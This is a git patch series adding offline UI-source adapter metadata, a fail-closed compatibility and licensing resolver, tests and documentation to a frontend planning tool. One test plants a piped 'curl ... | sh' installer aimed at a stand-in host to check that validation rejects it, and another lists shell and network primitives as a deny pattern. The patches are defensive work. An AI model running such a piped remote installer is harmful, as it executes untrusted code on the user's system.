From 166450699480c88a87e0a977abfa87b4f7065712 Mon Sep 17 00:00:00 2001 From: EagleFox31 <86088743+EagleFox31@users.noreply.github.com> Date: Sat, 10 Oct 2026 01:01:50 +0100 Subject: [PATCH 01/10] feat(wow): add reviewed offline wow-adapters.json --- ui-registry/wow-adapters.json | 109 ++++++++++++++++++++++++++++++++++ 1 file changed, 109 insertions(+) create mode 100644 ui-registry/wow-adapters.json diff --git a/ui-registry/wow-adapters.json b/ui-registry/wow-adapters.json new file mode 100644 index 0000000..81a6d73 --- /dev/null +++ b/ui-registry/wow-adapters.json @@ -0,0 +1,109 @@ +{ + "version": 1, + "description": "Conservative, offline integration hints keyed to the existing external WOW source inventory. Not a second component registry and not executable install definitions.", + "adapters": [ + { + "sourceId": "21st-magic-mcp", + "interfaceKind": "external-tool", + "optionalService": true, + "motionHints": [ + "none" + ], + "executable": false, + "autoInstall": false, + "notes": "Optional MCP component discovery. No connection or code execution required." + }, + { + "sourceId": "magic-ui", + "interfaceKind": "component-pattern", + "optionalService": false, + "motionHints": [ + "motion" + ], + "executable": false, + "autoInstall": false, + "notes": "React/Tailwind design pattern reference; inspect individual component dependencies before adoption." + }, + { + "sourceId": "ui-layouts", + "interfaceKind": "component-pattern", + "optionalService": false, + "motionHints": [ + "motion", + "three" + ], + "executable": false, + "autoInstall": false, + "notes": "Effects may need Motion or Three; per-component compatibility must be reviewed." + }, + { + "sourceId": "tailark", + "interfaceKind": "registry-block", + "optionalService": false, + "motionHints": [ + "none" + ], + "executable": false, + "autoInstall": false, + "notes": "shadcn/Tailwind marketing blocks; registry install requires consumer stack compatibility and a specific approval." + }, + { + "sourceId": "beui", + "interfaceKind": "component-pattern", + "optionalService": false, + "motionHints": [ + "motion" + ], + "executable": false, + "autoInstall": false, + "notes": "React Motion examples; prefer an already present runtime." + }, + { + "sourceId": "web-interface-guidelines", + "interfaceKind": "guidance", + "optionalService": false, + "motionHints": [ + "none" + ], + "executable": false, + "autoInstall": false, + "notes": "UI guidance only, never executable or copyable component code." + }, + { + "sourceId": "react-bits", + "interfaceKind": "component-pattern", + "optionalService": false, + "motionHints": [ + "motion", + "three" + ], + "executable": false, + "autoInstall": false, + "notes": "Animated React examples; upstream license status unverified." + }, + { + "sourceId": "animate-ui", + "interfaceKind": "component-pattern", + "optionalService": false, + "motionHints": [ + "motion" + ], + "executable": false, + "autoInstall": false, + "notes": "Animated UI examples; upstream license status unverified." + }, + { + "sourceId": "motion-primitives-website", + "interfaceKind": "component-pattern", + "optionalService": false, + "motionHints": [ + "motion", + "gsap", + "three" + ], + "executable": false, + "autoInstall": false, + "notes": "Motion/GSAP/Three references; upstream license status unverified." + } + ] +} From 84e5eff5fd6af086eaf7e248b1d7c6d242d505b6 Mon Sep 17 00:00:00 2001 From: EagleFox31 <86088743+EagleFox31@users.noreply.github.com> Date: Sat, 10 Oct 2026 01:01:53 +0100 Subject: [PATCH 02/10] feat(wow): add reviewed offline wow-adapters.schema.json --- ui-registry/schemas/wow-adapters.schema.json | 79 ++++++++++++++++++++ 1 file changed, 79 insertions(+) create mode 100644 ui-registry/schemas/wow-adapters.schema.json diff --git a/ui-registry/schemas/wow-adapters.schema.json b/ui-registry/schemas/wow-adapters.schema.json new file mode 100644 index 0000000..6aa57d7 --- /dev/null +++ b/ui-registry/schemas/wow-adapters.schema.json @@ -0,0 +1,79 @@ +{ + "$schema": "https://json-schema.org/draft/2020-12/schema", + "$id": "https://github.com/Trigenys/appfactory/blob/main/ui-registry/schemas/wow-adapters.schema.json", + "title": "AppFactory WOW Frontend offline adapter hints v1", + "type": "object", + "additionalProperties": false, + "required": [ + "version", + "description", + "adapters" + ], + "properties": { + "version": { + "const": 1 + }, + "description": { + "type": "string", + "minLength": 1 + }, + "adapters": { + "type": "array", + "minItems": 1, + "items": { + "type": "object", + "additionalProperties": false, + "required": [ + "sourceId", + "interfaceKind", + "optionalService", + "motionHints", + "executable", + "autoInstall", + "notes" + ], + "properties": { + "sourceId": { + "type": "string", + "pattern": "^[a-z0-9][a-z0-9-]{1,63}$" + }, + "interfaceKind": { + "enum": [ + "external-tool", + "component-pattern", + "registry-block", + "guidance" + ] + }, + "optionalService": { + "type": "boolean" + }, + "motionHints": { + "type": "array", + "minItems": 1, + "uniqueItems": true, + "items": { + "enum": [ + "none", + "motion", + "gsap", + "three" + ] + } + }, + "executable": { + "const": false + }, + "autoInstall": { + "const": false + }, + "notes": { + "type": "string", + "minLength": 10, + "maxLength": 400 + } + } + } + } + } +} From 7a58f5374412b3f5a4cf5361cc0be9ac3ef2f41e Mon Sep 17 00:00:00 2001 From: EagleFox31 <86088743+EagleFox31@users.noreply.github.com> Date: Sat, 10 Oct 2026 01:02:31 +0100 Subject: [PATCH 03/10] feat(wow): add fail-closed source adapter compatibility and licensing resolver --- ui-registry/wow-resolver.mjs | 160 +++++++++++++++++++++++++++++++++++ 1 file changed, 160 insertions(+) create mode 100644 ui-registry/wow-resolver.mjs diff --git a/ui-registry/wow-resolver.mjs b/ui-registry/wow-resolver.mjs new file mode 100644 index 0000000..bb46a43 --- /dev/null +++ b/ui-registry/wow-resolver.mjs @@ -0,0 +1,160 @@ +import fs from "node:fs"; +import path from "node:path"; +import { fileURLToPath } from "node:url"; +import { previewWowSources, validateWowSources } from "./wow-contract.mjs"; +import { validateWowReviewPolicy, wowSourceDisposition } from "./wow-security.mjs"; + +const DIR = path.dirname(fileURLToPath(import.meta.url)); +const isObject = (value) => value !== null && typeof value === "object" && !Array.isArray(value); +const INTERFACES = new Set(["external-tool","component-pattern","registry-block","guidance"]); +const RUNTIMES = new Set(["none","motion","gsap","three"]); +const KINDS = { + mcp:"external-tool", + component:"component-pattern", + block:"registry-block", + guidelines:"guidance" +}; +const safeToken = /^[a-z0-9][a-z0-9-]{1,63}$/; +const keysOnly = (value, allowed, name, errors) => { + for (const key of Object.keys(value)) { + if (!allowed.includes(key)) errors.push(name + ": unexpected field " + key); + } +}; + +export function readWowAdapters() { + return JSON.parse(fs.readFileSync(path.join(DIR,"wow-adapters.json"),"utf8")); +} + +// Verify that the adapter layer describes ONLY the sources in the immutable +// discovery inventory. No source can insert commands, URLs or permissions here. +export function validateWowAdapters(data, inventory) { + const errors = validateWowSources(inventory); + if (errors.length) return errors.map((e) => "invalid source inventory: " + e); + if (!isObject(data)) return ["adapter inventory must be an object"]; + keysOnly(data,["version","description","adapters"],"adapter inventory",errors); + if (data.version !== 1) errors.push("adapter inventory.version must be 1"); + if (typeof data.description !== "string" || !data.description.trim()) errors.push("adapter inventory.description required"); + if (!Array.isArray(data.adapters)) return [...errors,"adapter inventory.adapters must be an array"]; + const byId = new Map(inventory.sources.map((s) => [s.id,s])); + const seen = new Set(); + data.adapters.forEach((adapter,index) => { + const label = "adapters[" + index + "]"; + if (!isObject(adapter)) {errors.push(label + " must be an object");return;} + keysOnly(adapter,[ + "sourceId","interfaceKind","optionalService","motionHints","executable","autoInstall","notes" + ],label,errors); + if (typeof adapter.sourceId !== "string" || !safeToken.test(adapter.sourceId)) + errors.push(label + ".sourceId invalid"); + if (seen.has(adapter.sourceId)) errors.push(label + " duplicate adapter " + adapter.sourceId); + seen.add(adapter.sourceId); + const source = byId.get(adapter.sourceId); + if (!source) errors.push(label + " unknown source " + String(adapter.sourceId)); + if (!INTERFACES.has(adapter.interfaceKind)) errors.push(label + " interfaceKind invalid"); + else if (source && KINDS[source.kind] !== adapter.interfaceKind) + errors.push(label + " interface does not match canonical source kind"); + if (typeof adapter.optionalService !== "boolean" || + (source && adapter.optionalService !== (source.kind === "mcp"))) + errors.push(label + " optionalService mismatch"); + if (adapter.executable !== false || adapter.autoInstall !== false) + errors.push(label + " execution and automatic installation are forbidden"); + if (!Array.isArray(adapter.motionHints) || !adapter.motionHints.length || + new Set(adapter.motionHints).size !== adapter.motionHints.length || + adapter.motionHints.some((s) => !RUNTIMES.has(s)) || + (adapter.motionHints.includes("none") && adapter.motionHints.length > 1)) + errors.push(label + " motionHints invalid"); + if (typeof adapter.notes !== "string" || adapter.notes.length < 10 || + adapter.notes.length > 400) errors.push(label + " notes invalid"); + if (source?.kind === "guidelines" && + (!Array.isArray(adapter.motionHints) || adapter.motionHints.length !== 1 || + adapter.motionHints[0] !== "none")) + errors.push(label + " guideline source may not suggest runtime dependencies"); + }); + for (const id of byId.keys()) if (!seen.has(id)) errors.push("missing adapter for " + id); + return errors; +} + +function listOptions(items, allowed, label, errors) { + if (!Array.isArray(items) || new Set(items).size !== items.length || + items.some((x) => typeof x !== "string" || !allowed.has(x))) + errors.push(label + " must be a unique list of known tokens"); +} + +// A deterministic recommendation layer, never an installer or a replacement +// for the trusted policy. "Native" and "adapt" refer to technical suitability. +export function resolveWowAdapters({ + consumer, inventory, policy, adapters, + installedMotionRuntimes = [], connectedExternalTools = [] +}) { + const errors = [ + ...validateWowAdapters(adapters,inventory), + ...validateWowReviewPolicy(policy,inventory) + ]; + const sourcePreview = previewWowSources(consumer,inventory); + if (!sourcePreview.ok) errors.push(...sourcePreview.errors.map((e) => "consumer: " + e)); + listOptions(installedMotionRuntimes,new Set(["motion","gsap","three"]),"installedMotionRuntimes",errors); + listOptions(connectedExternalTools,new Set(["21st-magic-mcp"]),"connectedExternalTools",errors); + if (errors.length) return {ok:false,errors,sources:[],operationsAllowed:false}; + if (!consumer.enabled) return {ok:true,status:"DISABLED",errors:[],sources:[],operationsAllowed:false}; + + const records = new Map(inventory.sources.map((s) => [s.id,s])); + const adapterMap = new Map(adapters.adapters.map((a) => [a.sourceId,a])); + const approvals = new Map(policy.approvals.map((a) => [a.sourceId,a])); + const installed = new Set(installedMotionRuntimes); + const connected = new Set(connectedExternalTools); + + const sources = consumer.sources.allow.map((id) => { + const source = records.get(id); + const adapter = adapterMap.get(id); + const disposition = wowSourceDisposition(id,inventory,policy).status; + const family = consumer.stack.framework.startsWith("react-") + ? "react" : consumer.stack.framework.split("-")[0]; + const sameFramework = source.frameworks.includes("any") || source.frameworks.includes(family); + const sameStyling = source.styling.includes("any") || source.styling.includes(consumer.stack.styling); + + let technicalFit = "reference-only"; + if (adapter.interfaceKind !== "external-tool" && adapter.interfaceKind !== "guidance") { + if (sameFramework) technicalFit = sameStyling ? "native" : "adapt"; + } + // The central license review and source family are checked BEFORE any + // technical-fit recommendation is surfaced as a candidate for manual adoption. + const decision = disposition === "blocked" ? "unsupported" : + disposition !== "approved" ? "reference-only" : technicalFit; + + const approval = approvals.get(id); + const approvedModes = decision === "native" || decision === "adapt" + ? (approval?.allowedModes || []).filter((mode) => + mode === "copy-adapt" || (mode === "registry-install" && + decision === "native" && adapter.interfaceKind === "registry-block")) + : []; + + const possibleRuntimes = adapter.motionHints.filter((runtime) => runtime !== "none"); + const reuseExisting = possibleRuntimes.filter((runtime) => installed.has(runtime)); + const needsDependencyReview = possibleRuntimes.filter((runtime) => !installed.has(runtime)); + const externalServiceConnected = adapter.optionalService && connected.has(id); + + const reasons = []; + if (adapter.optionalService) reasons.push( + externalServiceConnected ? "optional external discovery tool is declared connected" : + "external discovery service not connected; the rest of AppFactory still works"); + if (!sameFramework && !source.frameworks.includes("any")) reasons.push( + "framework mismatch: design reference only, no framework migration"); + else if (!sameStyling) reasons.push("styling mismatch: adapt in existing styling system; no Tailwind installation"); + if (decision === "reference-only") reasons.push("central source permission is not approved for copying/installing"); + if (decision === "unsupported") reasons.push("source blocked by central policy"); + if (needsDependencyReview.length) reasons.push("motion libraries are only hints; explicit per-component dependency review required"); + if (decision === "adapt") reasons.push("manual adaptation only; registry installation not allowed on this styling stack"); + if (decision === "native") reasons.push("stack appears compatible; component-specific review remains required"); + if (adapter.interfaceKind === "guidance") reasons.push("guideline source has no executable UI component"); + + return { + sourceId:id,repository:source.repository,interfaceKind:adapter.interfaceKind, + decision,technicalFit,disposition,optionalService:adapter.optionalService, + externalServiceConnected, + approvedModes, + runtime:{hints:possibleRuntimes,reuseExisting,needsDependencyReview,installAutomatically:false}, + actions:{research:true,copyAutomatically:false,installAutomatically:false,executeRemote:false}, + reasons + }; + }); + return {ok:true,status:"PLAN_ONLY",errors:[],sources,operationsAllowed:false}; +} From b97417bcd97a772e9460335fb70607c419a3d3e5 Mon Sep 17 00:00:00 2001 From: EagleFox31 <86088743+EagleFox31@users.noreply.github.com> Date: Sat, 10 Oct 2026 01:03:03 +0100 Subject: [PATCH 04/10] test(wow): cover all adapter types, framework fit, security approvals and runtime reuse --- test/wow-frontend-adapters.test.mjs | 177 ++++++++++++++++++++++++++++ 1 file changed, 177 insertions(+) create mode 100644 test/wow-frontend-adapters.test.mjs diff --git a/test/wow-frontend-adapters.test.mjs b/test/wow-frontend-adapters.test.mjs new file mode 100644 index 0000000..e20f959 --- /dev/null +++ b/test/wow-frontend-adapters.test.mjs @@ -0,0 +1,177 @@ +import assert from "node:assert/strict"; +import fs from "node:fs"; +import test from "node:test"; +import { readWowRegistry } from "../ui-registry/wow-contract.mjs"; +import { readWowAdapters, validateWowAdapters, resolveWowAdapters } from "../ui-registry/wow-resolver.mjs"; + +const inventory = readWowRegistry(); +const adapters = readWowAdapters(); +const policy = JSON.parse(fs.readFileSync("ui-registry/wow-review-policy.json","utf8")); +const clone = structuredClone; +const consumer = (framework="react-vite",styling="css",allow=inventory.sources.map(x=>x.id)) => ({ + version:1,enabled:true,profile:"marketing-wow", + stack:{framework,styling,typescript:true},sources:{mode:"reference-only",allow}, + motion:{mode:"intentional",reducedMotion:"required"} +}); +const resolve = (options={}) => resolveWowAdapters({ + consumer:consumer(),inventory,policy,adapters,...options +}); +const approved = (id, mode="copy-adapt") => { + const s=inventory.sources.find(x=>x.id===id), SHA="f".repeat(40); + return {version:1,defaultDisposition:"reference-only",blocked:[], + approvals:[{sourceId:id,repository:s.repository,commit:SHA,spdx:"MIT", + licenseEvidenceUrl:s.repository+"/blob/"+SHA+"/LICENSE",reviewer:"TrigenysReviewer", + reviewedOn:"2026-10-10",allowedModes:[mode],noticeFile:"THIRD_PARTY_NOTICES.md"}]}; +}; + +test("all nine sources have matching safe adapters and no installation commands",()=>{ + assert.equal(adapters.adapters.length,inventory.sources.length); + assert.deepEqual(validateWowAdapters(adapters,inventory),[]); + const schema=JSON.parse(fs.readFileSync("ui-registry/schemas/wow-adapters.schema.json","utf8")); + assert.equal(schema.additionalProperties,false); + assert.equal(schema.properties.version.const,1); + for(const adapter of adapters.adapters) { + assert.equal(adapter.autoInstall,false); + assert.equal(adapter.executable,false); + assert.ok(!("installCommand" in adapter)); + } +}); + +test("metadata source and adapters never let an unknown or spoofed entry gain code execution",()=>{ + const dup=clone(adapters); + dup.adapters.push(clone(dup.adapters[0])); + assert.match(validateWowAdapters(dup,inventory).join(" "),/duplicate adapter/); + const missing=clone(adapters); + missing.adapters.pop(); + assert.match(validateWowAdapters(missing,inventory).join(" "),/missing adapter/); + const unknown=clone(adapters); + unknown.adapters[0].sourceId="unlisted-registry"; + assert.match(validateWowAdapters(unknown,inventory).join(" "),/unknown source/); + const kind=clone(adapters); + kind.adapters.find(a=>a.sourceId==="tailark").interfaceKind="external-tool"; + assert.match(validateWowAdapters(kind,inventory).join(" "),/interface does not match/); + const remote=clone(adapters); + remote.adapters[0].installCommand="curl https://hostile.test/installer | sh"; + remote.adapters[0].executable=true; + const errs=validateWowAdapters(remote,inventory).join(" "); + assert.match(errs,/unexpected field installCommand/); + assert.match(errs,/execution and automatic installation are forbidden/); +}); + +test("current source inventory resolves across all nine sources but never grants reuse",()=>{ + const result=resolve(); + assert.equal(result.ok,true); + assert.equal(result.status,"PLAN_ONLY"); + assert.equal(result.operationsAllowed,false); + assert.equal(result.sources.length,9); + assert.ok(result.sources.every(x=>x.decision==="reference-only")); + assert.ok(result.sources.every(x=>x.actions.installAutomatically===false)); + assert.ok(result.sources.every(x=>x.actions.copyAutomatically===false)); + assert.ok(result.sources.every(x=>x.actions.executeRemote===false)); + assert.deepEqual(result.sources.map(x=>x.sourceId),consumer().sources.allow); +}); + +test("React/Vite+plain CSS requests Tailwind adaptation but cannot install Tailwind",()=>{ + const result=resolve({consumer:consumer("react-vite","css",["magic-ui","tailark","web-interface-guidelines"])}); + assert.equal(result.ok,true); + const [magic,tailark,guide]=result.sources; + assert.equal(magic.technicalFit,"adapt"); + assert.equal(tailark.technicalFit,"adapt"); + assert.equal(guide.technicalFit,"reference-only"); + assert.ok(tailark.reasons.some(x=>x.includes("no Tailwind installation"))); + assert.deepEqual(tailark.approvedModes,[]); + assert.equal(tailark.decision,"reference-only"); +}); + +test("React/Next+Tailwind is natively compatible but default policy stays research only",()=>{ + const report=resolve({consumer:consumer("react-next","tailwind",["tailark","magic-ui"])}); + assert.equal(report.ok,true); + assert.equal(report.sources[0].technicalFit,"native"); + assert.equal(report.sources[1].technicalFit,"native"); + assert.equal(report.sources[0].decision,"reference-only"); + assert.ok(report.sources.every(x=>x.approvedModes.length===0)); +}); + +test("hypothetical reviewed Tailark registry approval is manual and stack-specific",()=>{ + const p=approved("tailark","registry-install"); + const next=resolve({consumer:consumer("react-next","tailwind",["tailark"]),policy:p}); + assert.equal(next.ok,true); + assert.equal(next.sources[0].decision,"native"); + assert.deepEqual(next.sources[0].approvedModes,["registry-install"]); + assert.equal(next.sources[0].actions.installAutomatically,false); + const css=resolve({consumer:consumer("react-vite","css",["tailark"]),policy:p}); + assert.equal(css.sources[0].decision,"adapt"); + assert.deepEqual(css.sources[0].approvedModes,[]); + assert.equal(css.sources[0].actions.installAutomatically,false); + const vue=resolve({consumer:consumer("vue-vite","css",["tailark"]),policy:p}); + assert.equal(vue.sources[0].decision,"reference-only"); + assert.deepEqual(vue.sources[0].approvedModes,[]); +}); + +test("non-React consumers are reference-only even under synthetic central approval",()=>{ + const report=resolve({ + consumer:consumer("svelte-kit","css",["magic-ui","react-bits","web-interface-guidelines"]), + policy:approved("magic-ui") + }); + assert.equal(report.ok,true); + assert.ok(report.sources.every(x=>x.decision==="reference-only")); + assert.ok(report.sources.every(x=>x.actions.executeRemote===false)); +}); + +test("MCP and guidance adapters are optional, non-executable and cannot be secretly promoted",()=>{ + const disconnected=resolve({consumer:consumer("react-vite","tailwind",["21st-magic-mcp","web-interface-guidelines"])}); + assert.equal(disconnected.sources[0].interfaceKind,"external-tool"); + assert.equal(disconnected.sources[0].optionalService,true); + assert.equal(disconnected.sources[0].externalServiceConnected,false); + assert.equal(disconnected.sources[0].decision,"reference-only"); + assert.equal(disconnected.sources[1].interfaceKind,"guidance"); + const connected=resolve({ + consumer:consumer("react-vite","tailwind",["21st-magic-mcp"]), + connectedExternalTools:["21st-magic-mcp"] + }); + assert.equal(connected.sources[0].externalServiceConnected,true); + assert.equal(connected.sources[0].decision,"reference-only"); + assert.equal(connected.sources[0].actions.executeRemote,false); + const bad=resolve({connectedExternalTools:["any-unreviewed-mcp"]}); + assert.equal(bad.ok,false); + assert.match(bad.errors.join(" "),/connectedExternalTools/); +}); + +test("existing runtime is reused; missing hints require review instead of dependency installation",()=>{ + const report=resolve({ + consumer:consumer("react-vite","css",["magic-ui","beui","motion-primitives-website"]), + installedMotionRuntimes:["motion"] + }); + assert.equal(report.ok,true); + assert.deepEqual(report.sources[0].runtime.reuseExisting,["motion"]); + assert.deepEqual(report.sources[1].runtime.reuseExisting,["motion"]); + assert.ok(report.sources[2].runtime.needsDependencyReview.includes("gsap")); + assert.ok(report.sources[2].runtime.needsDependencyReview.includes("three")); + assert.ok(report.sources.every(x=>x.runtime.installAutomatically===false)); + assert.equal(resolve({installedMotionRuntimes:["motion","motion"]}).ok,false); + assert.equal(resolve({installedMotionRuntimes:["sneaky-shell"]}).ok,false); +}); + +test("blocked sources and malformed policy fail closed",()=>{ + const p=clone(policy);p.blocked=["magic-ui"]; + const r=resolve({consumer:consumer("react-next","tailwind",["magic-ui"]),policy:p}); + assert.equal(r.sources[0].decision,"unsupported"); + const invalid=clone(policy);invalid.defaultDisposition="approve-everything"; + const rejected=resolve({policy:invalid}); + assert.equal(rejected.ok,false); + assert.equal(rejected.sources.length,0); + assert.equal(rejected.operationsAllowed,false); +}); + +test("disabled consumers cause no resolution and no operations",()=>{ + const output=resolve({consumer:{version:1,enabled:false}}); + assert.equal(output.ok,true); + assert.equal(output.status,"DISABLED"); + assert.deepEqual(output.sources,[]); + assert.equal(output.operationsAllowed,false); +}); + +test("resolver has no network calls or child process/install shell primitives",()=>{ + const text=fs.readFileSync("ui-registry/wow-resolver.mjs","utf8"); + assert.doesNotMatch(text,/\b(?:fetch\s*\(|axios|child_process|execSync|spawnSync|writeFileSync|npm install|npx|curl)\b/i); +}); From 049b33249c670092f0feeaec8a38f8d3fb286b3e Mon Sep 17 00:00:00 2001 From: EagleFox31 <86088743+EagleFox31@users.noreply.github.com> Date: Sat, 10 Oct 2026 01:03:16 +0100 Subject: [PATCH 05/10] feat(wow): integrate adapter compatibility decisions into existing read-only planning --- scripts/wow-frontend-plan.mjs | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/scripts/wow-frontend-plan.mjs b/scripts/wow-frontend-plan.mjs index c0785f2..b47cd23 100644 --- a/scripts/wow-frontend-plan.mjs +++ b/scripts/wow-frontend-plan.mjs @@ -6,6 +6,7 @@ import process from "node:process"; import { fileURLToPath } from "node:url"; import { previewWowSources, readWowRegistry } from "../ui-registry/wow-contract.mjs"; import { validateWowReviewPolicy, wowSourceDisposition } from "../ui-registry/wow-security.mjs"; +import { readWowAdapters, resolveWowAdapters } from "../ui-registry/wow-resolver.mjs"; const ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), ".."); const POLICY_PATH = path.join(ROOT, "ui-registry", "wow-review-policy.json"); @@ -69,17 +70,19 @@ const phases = [ {id:"provenance",action:"Verify licenses/notices and record adopted code only under future central approvals",status:"NOT RUN"} ]; -export function planWowFrontend({brief,consumer,inventory,policy}) { +export function planWowFrontend({brief,consumer,inventory,policy,adapters = readWowAdapters()}) { const errors = [ ...validateWowBrief(brief), ...validateWowReviewPolicy(policy,inventory) ]; const sources = previewWowSources(consumer,inventory); if (!sources.ok) errors.push(...sources.errors.map((e) => "consumer/source: " + e)); - if (errors.length) return {ok:false,mode:"DRY_RUN",errors,steps:[],sources:[],evidence:{}}; + const resolution = resolveWowAdapters({consumer,inventory,policy,adapters}); + if (!resolution.ok) errors.push(...resolution.errors.map((e) => "adapter resolution: " + e)); + if (errors.length) return {ok:false,mode:"DRY_RUN",errors,steps:[],sources:[],adapterResolutions:[],evidence:{},operationsAllowed:false}; if (!consumer.enabled) { return {ok:true,mode:"DRY_RUN",status:"DISABLED",project:brief.project, - repository:brief.repository,steps:[],sources:[],evidence:{},operationsAllowed:false}; + repository:brief.repository,steps:[],sources:[],adapterResolutions:[],evidence:{},operationsAllowed:false}; } const candidates = sources.sources.map((candidate) => ({ ...candidate, @@ -99,6 +102,7 @@ export function planWowFrontend({brief,consumer,inventory,policy}) { unchangedStack:{...consumer.stack}, languages:[...brief.constraints.languages], sources:candidates, + adapterResolutions:resolution.sources, steps:phases.map((phase) => ({...phase})), guardrails:{ preserveStack:true,truthfulProofOnly:true,reducedMotionRequired:true, From bdf2db39bda4754f921f29bbf844b9c45f7a184a Mon Sep 17 00:00:00 2001 From: EagleFox31 <86088743+EagleFox31@users.noreply.github.com> Date: Sat, 10 Oct 2026 01:03:22 +0100 Subject: [PATCH 06/10] test(wow): run adapter compatibility tests under existing UI Registry CI --- test/ui-registry.test.mjs | 1 + 1 file changed, 1 insertion(+) diff --git a/test/ui-registry.test.mjs b/test/ui-registry.test.mjs index b6dfd95..272485b 100644 --- a/test/ui-registry.test.mjs +++ b/test/ui-registry.test.mjs @@ -1,3 +1,4 @@ +import "./wow-frontend-adapters.test.mjs"; import "./wow-frontend-skill.test.mjs"; import "./wow-frontend-security.test.mjs"; import "./wow-frontend-contract.test.mjs"; From ab639f0d6042a3e7ea33dde874725d5aa3fea22f Mon Sep 17 00:00:00 2001 From: EagleFox31 <86088743+EagleFox31@users.noreply.github.com> Date: Sat, 10 Oct 2026 01:03:32 +0100 Subject: [PATCH 07/10] test(wow): require source resolver output in the Commerce Factory read-only plan --- test/wow-frontend-skill.test.mjs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/test/wow-frontend-skill.test.mjs b/test/wow-frontend-skill.test.mjs index be96281..ee7c9ae 100644 --- a/test/wow-frontend-skill.test.mjs +++ b/test/wow-frontend-skill.test.mjs @@ -61,6 +61,9 @@ test("dry run uses real Commerce Factory planning fixture but does not mutate so assert.ok(output.steps.length >= 8); assert.ok(output.steps.every((x) => x.status === "NOT RUN")); assert.equal(output.sources.length,consumer.sources.allow.length); + assert.equal(output.adapterResolutions.length,consumer.sources.allow.length); + assert.ok(output.adapterResolutions.every((x) => x.actions.installAutomatically === false)); + assert.ok(output.adapterResolutions.every((x) => x.actions.executeRemote === false)); for (const source of output.sources) { assert.equal(source.mode,"reference-only"); assert.equal(source.installAllowed,false); From 560f4df15357e595376b776579bddc92cab835e8 Mon Sep 17 00:00:00 2001 From: EagleFox31 <86088743+EagleFox31@users.noreply.github.com> Date: Sat, 10 Oct 2026 01:03:55 +0100 Subject: [PATCH 08/10] docs(wow): define source adapter compatibility and runtime reuse boundaries --- docs/wow-source-adapters.md | 66 +++++++++++++++++++++++++++++++++++++ 1 file changed, 66 insertions(+) create mode 100644 docs/wow-source-adapters.md diff --git a/docs/wow-source-adapters.md b/docs/wow-source-adapters.md new file mode 100644 index 0000000..852c638 --- /dev/null +++ b/docs/wow-source-adapters.md @@ -0,0 +1,66 @@ +# WOW Frontend source adapters and compatibility (issue #142) + +Owner: `Trigenys/appfactory`. **This is a read-only recommendation system.** The actual consumer is responsible for UI code, and `EagleFox31/appfactory-project-automation` is responsible for future visual CI. + +## How the catalogs fit together + +| File | Role | +| --- | --- | +| `ui-registry/registry.json` | Already-shipped, Trigenys-authored native UI components; no change in #142 | +| `ui-registry/wow-sources.json` | Versioned external research inventory (#139) | +| `ui-registry/wow-review-policy.json` | Central default-deny source reuse policy (#140) | +| `ui-registry/wow-adapters.json` | #142 offline interface kinds and **possible** animation-runtime hints | +| `ui-registry/wow-resolver.mjs` | #142 deterministic, pure and fail-closed cross-source/stack decision function | +| `scripts/wow-frontend-plan.mjs` | #141 CLI, now includes `adapterResolutions` using #142 | + +A second UI component registry is **not** created. The adapter file contains metadata, **not JavaScript commands**, component code, registry addresses, installation URLs, external tool credentials or secret references. In #142, there is no network access and **no tools are actually called**. + +## Four technical outcomes + +The resolver emits `decision` and `technicalFit` independently: + +- `native`: a reviewed source's framework **and** styling assumptions match the consumer stack. This does **not** authorize automated import. +- `adapt`: the framework matches but styling differs (e.g. React/Vite plain CSS vs React/Tailwind component). A manual original adaptation to the consumer stack may be designed; do not automatically install Tailwind. +- `reference-only`: no centrally reviewed authorization, incompatible framework, guidance-only input or an optional external discovery tool. Research and design references only, no code copy. +- `unsupported`: a blocked/unknown source or invalid policy. Hard stop. + +The `technicalFit` is a **nonbinding assessment**. A React/Tailwind entry may have `technicalFit: "adapt"` in React/Vite + CSS and still have `decision: "reference-only"` until centrally approved. Metadata-only license strings do not authorize source adoption. + +## Source integration classes + +- `external-tool`: 21st.dev Magic MCP — **optional service**, never a required dependency. The `connectedExternalTools` input is advisory only and does not trigger calls or installs. +- `component-pattern`: Magic UI, UI Layouts, beUI, React Bits, Animate UI and Motion Primitives Website — potential inspiration, with per-component dependency and license review. +- `registry-block`: Tailark marketing blocks — possible native pattern only when an actual compatible React/Tailwind consumer and an immutable license-approved source exist. +- `guidance`: Web Interface Guidelines — quality guidance, not executable component code. + +The resolver covers **all nine** current source IDs. Every adapter has `executable:false` and `autoInstall:false`, and unknown adapters fail closed. + +## Motion runtime handling + +A source's `motionHints` are *possible dependencies of some upstream effects*; they are not audited component dependency manifests. Accepted hint tokens are `motion`, `gsap` and `three`, plus `none`. + +Pass a list of **observed consumer-installed runtimes** to the resolver (from the consumer's actual `package.json`, not a guess). Returned `reuseExisting` entries indicate a runtime already present, and `needsDependencyReview` entries require per-component review before adding a new package. The resolver **never installs them**. For a plain-CSS product, choose native CSS animation when it can deliver the intent without increasing the bundle. + +## Example — Commerce Factory + +The existing Commerce Factory project uses React 19, Vite, TypeScript and its own CSS. It has real marketing imagery and FR/EN behavior. The planner's existing sample is: + +```bash +node scripts/wow-frontend-plan.mjs \ + skills/wow-frontend/examples/commerce-factory.brief.json \ + ui-registry/examples/wow-react-vite-css.json +``` + +The returned report includes old research candidates (`sources`) and the new normalized `adapterResolutions`. For a Tailwind source such as Magic UI, the new technical fit is `adapt`; the **final decision stays `reference-only`**, with installation disallowed. The listed external guideline remains a reference. + +This is a non-mutating planning example; the script has **not** edited Commerce Factory or rendered any screenshots. + +## Security proof and next boundaries + +All source selection is pure: no executable remote steps, `npm`/`npx`, `curl | sh`, new third-party package dependencies, code downloads, Cloudflare mutations or GitHub consumer writes. Central approval still requires #140's exact commit SHA, authoritative upstream license evidence, reviewer and preserved notice. Even an artificial approved fixture returns `actions.installAutomatically:false` and `actions.executeRemote:false`. + +An approved source does not bypass the **consumer's own governance** or future #99 rendered QA. External tool invocation and any actual third-party code installation will require separate approved adapters and explicit permission in future work. + +Run the existing `npm run test:ui-registry` and `npm run typecheck`. CI also smoke-builds the React/Vite blueprints through its existing Impact-Aware gates. + +**Non-goals:** install Magic UI or Tailark, import React Bits code, run MagicPath/21st.dev, add Tailwind/GSAP/Three to Commerce Factory, build a new component registry, or claim rendered-browser evidence. From aeb28f924928188e53a89c1e713b10fd9471bdd6 Mon Sep 17 00:00:00 2001 From: EagleFox31 <86088743+EagleFox31@users.noreply.github.com> Date: Sat, 10 Oct 2026 01:04:13 +0100 Subject: [PATCH 09/10] docs(wow): integrate reviewed adapter decisions into existing skill instructions --- 